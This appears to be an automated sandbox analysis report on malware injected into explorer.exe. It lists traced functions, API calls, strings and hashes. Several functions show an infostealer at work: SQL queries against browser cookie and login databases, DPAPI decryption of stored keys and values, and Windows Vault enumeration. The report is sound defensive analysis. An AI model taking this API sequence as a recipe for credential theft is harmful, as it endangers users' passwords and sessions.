Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: AcquireContextCryptInformationVolume
String ID:
API String ID: 4059528372-0
Opcode ID: 570b72cb9fefb269fa565bf88e84819b9281ae41eeb4bd408b08a14378af43d4
Instruction ID: 5ff07bd752fa8db797625aba05fd4c3e9b54ddc78cee21879b665b228ec3de38
Opcode Fuzzy Hash: 570b72cb9fefb269fa565bf88e84819b9281ae41eeb4bd408b08a14378af43d4
Instruction Fuzzy Hash: 2D318E34618B4C8FD794EF2CC84879977E2FB98311F50062E984ED7264DE34D9458B82

Function 02801980 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 028019D0: RtlCreateHeap.NTDLL ref: 02801AE7

SleepEx.KERNEL32(?,?,?,?,?,?,?,02801973), ref: 028019A0

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: CreateHeapSleep
String ID:
API String ID: 221814145-0
Opcode ID: 9adc8d4cde1f516ddaa5c4750073014e5650bc8f10d33b0d75f43d3a0b67238f
Instruction ID: 34d133c5690be3e00550cd96fe64d10bedd82614cf9b53e792362d9b8a5fd0e1
Opcode Fuzzy Hash: 9adc8d4cde1f516ddaa5c4750073014e5650bc8f10d33b0d75f43d3a0b67238f
Instruction Fuzzy Hash: BFE0481CB14A084BDBD4B77D9CCC33C61A1DBC8365F941579691DC61C5D924C8408723

Analysis Process: gwseuhaPID: 4020, Parent PID: 3988COMMON

Executed Functions

Function 003908B0 Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

tPp, xrefs: 0039095E

Memory Dump Source

Source File: 00000011.00000002.419686380.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_390000_gwseuha.jbxd

Similarity

API ID:
String ID: tPp
API String ID: 0-1477601333
Opcode ID: 3944d7dc5a17a6eda8477535b051b589c72a69c3be36b9d0cad756d7991e27b2
Instruction ID: 984a511bd6c1b92eedd379f0cb460840ebb14cddba1a92eb663062b0a70304be
Opcode Fuzzy Hash: 3944d7dc5a17a6eda8477535b051b589c72a69c3be36b9d0cad756d7991e27b2
Instruction Fuzzy Hash: EC210C353006118FC749EB38C458A2D77F6AF8A61532605A9E546CF372DF76DC42CB91

Function 00391539 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

8p, xrefs: 00391555

Memory Dump Source

Source File: 00000011.00000002.419686380.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_390000_gwseuha.jbxd

Similarity

API ID:
String ID: 8p
API String ID: 0-2220451280
Opcode ID: 032cb9975b8c38365436980e707c95e20df0feb425b0ad43c6c243ff31604d4f
Instruction ID: 97fbfc2c6fc37da3919b67f1be8fc0a0df2ff60c0ded757b2ccd919d026c4071
Opcode Fuzzy Hash: 032cb9975b8c38365436980e707c95e20df0feb425b0ad43c6c243ff31604d4f
Instruction Fuzzy Hash: 49114E316103049FD347B778E8507A53BB9EB4B721F4680AAD415CB367DB64DC018BA1

Function 00390E30 Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.419686380.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_390000_gwseuha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40c1e6799d128e6716e2aeca5f60e314bb681617e43ede9bc9d8d9b0c8b7d5e6
Instruction ID: 2f0cd4053205eebb5e0bb32a0e2f4b027c64e4fc9ce59ec4ef89cd998bf5e483
Opcode Fuzzy Hash: 40c1e6799d128e6716e2aeca5f60e314bb681617e43ede9bc9d8d9b0c8b7d5e6
Instruction Fuzzy Hash: 2202C2306007569FCB15DF68C880AAEBBF2FF88300B15C968D955AB395DB71ED46CB90

Function 003909B0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.419686380.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_390000_gwseuha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc0530bfac1eae9eae19c82797f216b06a3de9eb3932a2912467f990fd396d9f
Instruction ID: d52bd0d7dbc9aeffa460a0f123923d06f4abccdd69d8e078be6f1e6a1c41bb6a
Opcode Fuzzy Hash: dc0530bfac1eae9eae19c82797f216b06a3de9eb3932a2912467f990fd396d9f
Instruction Fuzzy Hash: 42D14C34214302CFDB0EDF24D944B697BB6BF89300F658868E8568B765DB79ED41CB90

Function 00390E21 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.419686380.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_390000_gwseuha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f70a115037b3a86f72fa1bfd4cb7929bcce809e9eccfaef2191db6ae3ccf9e63
Instruction ID: 2b896c141344fdcd7707bd1b7db8dba4c50754a8640bc07c11f8e054b386b3ee
Opcode Fuzzy Hash: f70a115037b3a86f72fa1bfd4cb7929bcce809e9eccfaef2191db6ae3ccf9e63
Instruction Fuzzy Hash: 6B817E70A0064ADFCB15DFA4C880AAEB7F2FF88300F258669D555AB395D731ED46CB90

Function 00391498 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.419686380.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_390000_gwseuha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fff3cec5c8b0362f17b5d2f003bea61496399975f7510d077bdf48792b6249ee
Instruction ID: f8ec019877d008540400efd4bf8b19a6f283265f23291964960628d7bbaab946
Opcode Fuzzy Hash: fff3cec5c8b0362f17b5d2f003bea61496399975f7510d077bdf48792b6249ee
Instruction Fuzzy Hash: 4C11C431B10204AFC715ABB9E81479D7BB6EF89700F1580BAE609DB395DB749D02CB91

Function 00391348 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.419686380.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_390000_gwseuha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d70f3e690ece4785d4b5ee74df3020a530a2dbfc9c31f15d086522b7f9e0b3e3
Instruction ID: cca7de90434a645e359986cd40b7d0ccfcc41941a28a8c7c8364efba7974a19f
Opcode Fuzzy Hash: d70f3e690ece4785d4b5ee74df3020a530a2dbfc9c31f15d086522b7f9e0b3e3
Instruction Fuzzy Hash: AD012B7B710611DFCB26AB25EC84D2B3BF4EBC9B503028518EC429B719DA74DC01C7A0

Function 00391421 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.419686380.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_390000_gwseuha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bdd1bebd39cb0dbd0392c18f4a152784fb1c98417bf9b6d52d94d83b6167117
Instruction ID: 543dcfab2a552c6fcf44c61e7848c33f0b5ed4afc16a1ac6e4ff76c9136de3f7
Opcode Fuzzy Hash: 9bdd1bebd39cb0dbd0392c18f4a152784fb1c98417bf9b6d52d94d83b6167117
Instruction Fuzzy Hash: 8BF052727053202FD30917786C10AAF3BBEEFCA22031805BAE409CB342ED748C0683E0

Function 00390857 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.419686380.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_390000_gwseuha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 478a8bd76b7f6ec3d175d683f57bd366430e732a0ad4099c3e388fbc8423359b
Instruction ID: 476ad30b240ad5d9bdbbcc747a13f549afe5d36a114d43719d45744bd8496f8f
Opcode Fuzzy Hash: 478a8bd76b7f6ec3d175d683f57bd366430e732a0ad4099c3e388fbc8423359b
Instruction Fuzzy Hash: 78F0E53160C289AFC706CFB59C484DA7FF9EF0661070580EFE448C3112E6705C048761

Function 00390868 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.419686380.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_390000_gwseuha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1767142fbbb1894315af9c54233d9df70006003800629abef5c2345af41ae78b
Instruction ID: d28cd6b0f371b85e26c286f310e1bcbc017d856e9e7126aa01cf0c030a060eb2
Opcode Fuzzy Hash: 1767142fbbb1894315af9c54233d9df70006003800629abef5c2345af41ae78b
Instruction Fuzzy Hash: DBE09232B04109AF9B08EFF9F9484DE7FEDFB48722B00C07AE009D3610EA7458808790

Function 003913E0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.419686380.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_390000_gwseuha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28a0b0e71895c7a187a6778f85b3e5dcdd639e8bd8d3163193a5f63333206200
Instruction ID: 47f3745736c951596695a43dd6685011cc7f4d0c00b396bc6f47e970477a4514
Opcode Fuzzy Hash: 28a0b0e71895c7a187a6778f85b3e5dcdd639e8bd8d3163193a5f63333206200
Instruction Fuzzy Hash: BCE0C234118380CFDB0AAF35FA28AE53FF5AB4A304B4580E9E8818B667D6785C80CB55

Function 00391489 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.419686380.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_390000_gwseuha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f75dd602ac67d610a08db3a1f0f7510e1e66880032a9d66fde53dc58cf9e3d5
Instruction ID: a32dc82c42da3f11fca8f9969e510747966fc7f1eaa2e0361d727a614880dc22
Opcode Fuzzy Hash: 9f75dd602ac67d610a08db3a1f0f7510e1e66880032a9d66fde53dc58cf9e3d5
Instruction Fuzzy Hash: 7DD0A732B49A55ABCB0A52B5AD092CC3F348B46250B8940BBD544D7192F604891483D2

Function 00391590 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.419686380.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_390000_gwseuha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 919b6136d14028392384b75bb960da8b63eddf52f06f8e1c712960827e400835
Instruction ID: fc13aea607f6517d3ae1ad7a5fe43cd5aab78ead9810f44acc401bddb88b87c8
Opcode Fuzzy Hash: 919b6136d14028392384b75bb960da8b63eddf52f06f8e1c712960827e400835
Instruction Fuzzy Hash: B7C012A84492C11EEB171730A8283A03F711B87204F8B50CAC0C1678B3E4980864C326

Analysis Process: explorer.exePID: 4056, Parent PID: 1244COMMON

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	53.7%
Signature Coverage:	16.3%
Total number of Nodes:	583
Total number of Limit Nodes:	29

Executed Functions

Function 000C3717 Relevance: 45.9, APIs: 19, Strings: 7, Instructions: 401
stringfileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000C1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000), ref: 000C1B82
Part of subcall function 000C1B6A: CloseHandle.KERNEL32(00000000), ref: 000C1B8F

GetTempPathW.KERNEL32(00000104,00000000), ref: 000C3778
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 000C3782
DeleteFileW.KERNELBASE(00000000), ref: 000C3789
CopyFileW.KERNEL32(?,00000000,00000000), ref: 000C3794
RtlCompareMemory.NTDLL(00000000,?,00000003), ref: 000C383B
RtlZeroMemory.NTDLL(?,00000040), ref: 000C3870
lstrlen.KERNEL32(?,?,?,?,?), ref: 000C398B
lstrlen.KERNEL32(00000000), ref: 000C399A
wsprintfA.USER32 ref: 000C39F1
lstrlen.KERNEL32(00000000,?,?), ref: 000C39FD
lstrcat.KERNEL32(00000000,?), ref: 000C3A21
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 000C3A49
lstrlen.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 000C3B13
lstrlen.KERNEL32(00000000), ref: 000C3B22
wsprintfA.USER32 ref: 000C3B79
lstrlen.KERNEL32(00000000), ref: 000C3B85
lstrcat.KERNEL32(00000000,?), ref: 000C3BA9
lstrlen.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 000C3BDA
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 000C3C16

Strings

0, xrefs: 000C3828
COOKIES, xrefs: 000C3BE8, 000C3BED, 000C3BF6
FALSE, xrefs: 000C39BC, 000C3B3C
TRUE, xrefs: 000C39C9, 000C3B51
%sTRUE%s%s%s%s%s, xrefs: 000C39EB, 000C3B73
SELECT host_key,path,is_secure,name,encrypted_value FROM cookies, xrefs: 000C37C3
v1, xrefs: 000C3821

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: lstrlen$File$DeleteMemoryTemplstrcatwsprintf$CloseCompareCopyCreateCryptDataHandleNamePathUnprotectZero
String ID: %sTRUE%s%s%s%s%s$0$COOKIES$FALSE$SELECT host_key,path,is_secure,name,encrypted_value FROM cookies$TRUE$v1
API String ID: 584740257-404540950
Opcode ID: a23d138301e79af16bee3357f0eaa08dc63fc4c2289d2a28b577019bb06831f8
Instruction ID: c2bd5664ae81c03ce275280e3603a140813cffa0008f9f19c02a5d8c1c7d7917
Opcode Fuzzy Hash: a23d138301e79af16bee3357f0eaa08dc63fc4c2289d2a28b577019bb06831f8
Instruction Fuzzy Hash: 40E19870218341AFD725DF24C984FAFBBE9AF89344F04882CF585862A2DB76CD45CB52

Function 000C2198 Relevance: 33.5, APIs: 12, Strings: 7, Instructions: 242
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlZeroMemory.NTDLL(?,00000114), ref: 000C21AF
GetVersionExW.KERNEL32(?), ref: 000C21BE
LoadLibraryW.KERNEL32(vaultcli.dll), ref: 000C21E8
GetProcAddress.KERNEL32(00000000,VaultOpenVault), ref: 000C220A
GetProcAddress.KERNEL32(00000000,VaultCloseVault), ref: 000C2214
GetProcAddress.KERNEL32(00000000,VaultEnumerateItems), ref: 000C2220
GetProcAddress.KERNEL32(00000000,VaultGetItem), ref: 000C222A
GetProcAddress.KERNEL32(00000000,VaultFree), ref: 000C2236
RtlCompareMemory.NTDLL(?,00121110,00000010), ref: 000C22E8
RtlCompareMemory.NTDLL(?,00121110,00000010), ref: 000C236C

Part of subcall function 000C1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,000C2F0C), ref: 000C1973
Part of subcall function 000C1953: lstrlenW.KERNEL32(00116564,?,?,000C2F0C), ref: 000C1978
Part of subcall function 000C1953: lstrcatW.KERNEL32(00000000,?), ref: 000C1990
Part of subcall function 000C1953: lstrcatW.KERNEL32(00000000,00116564), ref: 000C1994

StrStrIW.SHLWAPI(?,Internet Explorer), ref: 000C23FE
FreeLibrary.KERNELBASE(00000000), ref: 000C2493

Strings

VaultOpenVault, xrefs: 000C2204
VaultCloseVault, xrefs: 000C220C
VaultEnumerateItems, xrefs: 000C2216
vaultcli.dll, xrefs: 000C21E3
Internet Explorer, xrefs: 000C23F8
VaultGetItem, xrefs: 000C2222
VaultFree, xrefs: 000C222C

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: AddressProc$Memory$CompareLibrarylstrcatlstrlen$FreeLoadVersionZero
String ID: Internet Explorer$VaultCloseVault$VaultEnumerateItems$VaultFree$VaultGetItem$VaultOpenVault$vaultcli.dll
API String ID: 2583887280-2831467701
Opcode ID: a5e802d1ad2f9820106049f403d1fd165f228156d15865eec1ed5e2a83c9e588
Instruction ID: 494c01f336fce24a4fdd702bd81126ed0909a159fbcac44f9df4693bfcb951b3
Opcode Fuzzy Hash: a5e802d1ad2f9820106049f403d1fd165f228156d15865eec1ed5e2a83c9e588
Instruction Fuzzy Hash: 00919B71A083049FD718DF65C884FAFBBEAAF98304F00882DF98597252EB71D841CB52

Function 000C3098 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 248
fileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000C1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000), ref: 000C1B82
Part of subcall function 000C1B6A: CloseHandle.KERNEL32(00000000), ref: 000C1B8F

GetTempPathW.KERNEL32(00000104,00000000), ref: 000C30F9
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 000C3103
DeleteFileW.KERNELBASE(00000000), ref: 000C310A
CopyFileW.KERNEL32(?,00000000,00000000), ref: 000C3115
RtlCompareMemory.NTDLL(00000000,00000000,00000003), ref: 000C31A4
RtlZeroMemory.NTDLL(?,00000040), ref: 000C31D7
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 000C32DF
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 000C339C

Strings

SELECT origin_url,username_value,password_value FROM logins, xrefs: 000C3136
@, xrefs: 000C31F1
v1, xrefs: 000C318A
0, xrefs: 000C3191

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: File$DeleteMemoryTemp$CloseCompareCopyCreateCryptDataHandleNamePathUnprotectZero
String ID: 0$@$SELECT origin_url,username_value,password_value FROM logins$v1
API String ID: 2757140130-4052020286
Opcode ID: 9b5e622c8af8dc7c20ce1d0d89dc6463935831b3a1ebc8c8ffe9238c8f9a14fd
Instruction ID: 7d893e13d2ced862851d02a0f1a8131389b44376dc6ecc335188d734be133e5c
Opcode Fuzzy Hash: 9b5e622c8af8dc7c20ce1d0d89dc6463935831b3a1ebc8c8ffe9238c8f9a14fd
Instruction Fuzzy Hash: C2919A31218381ABDB149F24C844FAFBBE9AFC5744F04892CF58596292DB35DE45CB52

Function 000C3ED9 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 82
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000C1000: GetProcessHeap.KERNEL32(00000008,?,000C11C7,?,?,00000001,00000000,?), ref: 000C1003
Part of subcall function 000C1000: RtlAllocateHeap.NTDLL(00000000), ref: 000C100A

PathCombineW.SHLWAPI(00000000,00000000,*.*), ref: 000C3F0A
FindFirstFileW.KERNELBASE(00000000,?,?,00000000), ref: 000C3F16
lstrcmpiW.KERNEL32(?,001162CC), ref: 000C3F38
lstrcmpiW.KERNEL32(?,001162D0), ref: 000C3F4C
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 000C3F69
lstrcmpiW.KERNEL32(?,Local State), ref: 000C3F7E
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 000C3F9B
FindNextFileW.KERNELBASE(00000000,00000010), ref: 000C3FB5
FindClose.KERNELBASE(00000000), ref: 000C3FC4

Strings

Local State, xrefs: 000C3F78
*.*, xrefs: 000C3F01

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: CombineFindPathlstrcmpi$FileHeap$AllocateCloseFirstNextProcess
String ID: *.*$Local State
API String ID: 3923353463-3324723383
Opcode ID: ab88cef545f067dfd720b654878eacb926dbb06126caee591de0847e53fa4195
Instruction ID: 426f7e9a24056e881f0cc7fd89408b911b13c3a2952814074d4836fd1ca5a86e
Opcode Fuzzy Hash: ab88cef545f067dfd720b654878eacb926dbb06126caee591de0847e53fa4195
Instruction Fuzzy Hash: 6121B0306003447BD758AB709C48FEF76BC9BC6341F14893DF816C2193EBBA8A898661

Function 000C1D4A Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 109
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000C19B4: lstrlenW.KERNEL32(00000000,00000000,00000000,000C2CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 000C19C4

FindFirstFileW.KERNELBASE(00000000,?,?,00000000), ref: 000C1DA9
lstrcmpiW.KERNEL32(?,001162CC), ref: 000C1DCF
lstrcmpiW.KERNEL32(?,001162D0), ref: 000C1DE7
lstrcmpiW.KERNEL32(?,?), ref: 000C1E62

Part of subcall function 000C1CF7: lstrlenW.KERNEL32(00000000,00000000,00000000,000C2C27), ref: 000C1D02
Part of subcall function 000C1CF7: RtlComputeCrc32.NTDLL(00000000,00000000,00000000), ref: 000C1D0D

FindNextFileW.KERNELBASE(00000000,00000010), ref: 000C1E94
FindClose.KERNELBASE(00000000), ref: 000C1EA3

Part of subcall function 000C1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,000C2F0C), ref: 000C1973
Part of subcall function 000C1953: lstrlenW.KERNEL32(00116564,?,?,000C2F0C), ref: 000C1978
Part of subcall function 000C1953: lstrcatW.KERNEL32(00000000,?), ref: 000C1990
Part of subcall function 000C1953: lstrcatW.KERNEL32(00000000,00116564), ref: 000C1994

Strings

*.*, xrefs: 000C1D8B
\*.*, xrefs: 000C1D79

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: lstrlen$Findlstrcmpi$Filelstrcat$CloseComputeCrc32FirstNext
String ID: *.*$\*.*
API String ID: 232625764-1692270452
Opcode ID: 73d8dc3d6c0756faaac33e2ea4124b07e13a18aa3c3ad6d5eea046e5b962ee9e
Instruction ID: 18202571e4568279dd00b231e5bad336ff062d80cfc7ef8d9098c242816cd79d
Opcode Fuzzy Hash: 73d8dc3d6c0756faaac33e2ea4124b07e13a18aa3c3ad6d5eea046e5b962ee9e
Instruction Fuzzy Hash: A931A2307083419BDB64EB749998FEF76EA9FC6340F004A2DF84AC2253EB758C459652

Function 000C3E04 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 75
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000C1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000), ref: 000C1B82
Part of subcall function 000C1B6A: CloseHandle.KERNEL32(00000000), ref: 000C1B8F

Part of subcall function 000C1C31: CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000C1C46
Part of subcall function 000C1C31: GetFileSize.KERNEL32(00000000,00000000,00000000,?,000C3FA8), ref: 000C1C56
Part of subcall function 000C1C31: ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 000C1C76
Part of subcall function 000C1C31: CloseHandle.KERNEL32(00000000), ref: 000C1C91

Part of subcall function 000C2FB1: StrStrIA.SHLWAPI(00000000,"encrypted_key":"), ref: 000C2FC1
Part of subcall function 000C2FB1: lstrlen.KERNEL32("encrypted_key":",?,000C3FA8), ref: 000C2FCE
Part of subcall function 000C2FB1: StrStrIA.SHLWAPI("encrypted_key":",0011692C), ref: 000C2FDD

Part of subcall function 000C123B: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,000C3E4B,00000000), ref: 000C124A
Part of subcall function 000C123B: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 000C1268
Part of subcall function 000C123B: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 000C1295

RtlCompareMemory.NTDLL(00000000,IDPAP,00000005), ref: 000C3E74
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 000C3E9E

Strings

DPAP, xrefs: 000C3E52
, xrefs: 000C3EA8
DPAP, xrefs: 000C3E5A
IDPAP, xrefs: 000C3E6E, 000C3E72

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: File$Crypt$BinaryCloseCreateHandleStringlstrlen$CompareDataMemoryReadSizeUnprotect
String ID: $DPAP$DPAP$IDPAP
API String ID: 3076719866-957854035
Opcode ID: a9c82f26caf97995f8626c96db9c6bf7fa19aba58068d31497b6a4d2f78f6b2d
Instruction ID: 1247902a791fece0136aa602f9ff097b9321c40bf4286bc784f5f2b7437e54bc
Opcode Fuzzy Hash: a9c82f26caf97995f8626c96db9c6bf7fa19aba58068d31497b6a4d2f78f6b2d
Instruction Fuzzy Hash: 9D2181726143456BD725EB688C80FFFB2EDAB95700F44492DF841C7282EB74CE498796

Function 00129247 Relevance: 6.3, APIs: 4, Instructions: 343
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.431607105.0000000000127000.00000040.80000000.00040000.00000000.sdmp, Offset: 00127000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_127000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc7a8811aa7ef5604bc7b11fca259b6a22483fba2416c80796d7c4e5311e3372
Instruction ID: f8f956276b81556480b3c1b19405860d93c04e5a3b5c81f61446289dd2956c78
Opcode Fuzzy Hash: bc7a8811aa7ef5604bc7b11fca259b6a22483fba2416c80796d7c4e5311e3372
Instruction Fuzzy Hash: 6BA15AB2A143A25FDB259E7CEDD06A07BA0FB52324F2D066DC5D1CB2C2E7605817C751

Function 000C4B92 Relevance: 3.0, APIs: 2, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 000C1162: VirtualQuery.KERNEL32(?,?,0000001C), ref: 000C116F

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 000C4BB6
NtUnmapViewOfSection.NTDLL(000000FF), ref: 000C4BBF

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: MemoryMoveQuerySectionUnmapViewVirtual
String ID:
API String ID: 1675517319-0
Opcode ID: 943dd28f87efffe5f8b9d8f090f8e32d6a59e4bb418e9047c1b4c3c806bb293b
Instruction ID: da5cb47bbe52387c3e0a1681ea9d7598d9257fffee12612a3050b05896cbbd2f
Opcode Fuzzy Hash: 943dd28f87efffe5f8b9d8f090f8e32d6a59e4bb418e9047c1b4c3c806bb293b
Instruction Fuzzy Hash: 35E048319052106BC758BB70BD69FDF3B99AF96361F20C91DB26592492CB36CC818660

Function 000C1000 Relevance: 3.0, APIs: 2, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,?,000C11C7,?,?,00000001,00000000,?), ref: 000C1003
RtlAllocateHeap.NTDLL(00000000), ref: 000C100A

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: f72606e3c0e245de1ac5a4330d0ddf5cb12277e236aa42a92db5c9bf23566a34
Instruction ID: e0211589613c60c02250040143a06265190b4a18b4b9426254d9e333ec9573f1
Opcode Fuzzy Hash: f72606e3c0e245de1ac5a4330d0ddf5cb12277e236aa42a92db5c9bf23566a34
Instruction Fuzzy Hash: 93A002755511047BDD4857A49F0DA5A3528F7C4702F108544714586451DAA55444C721

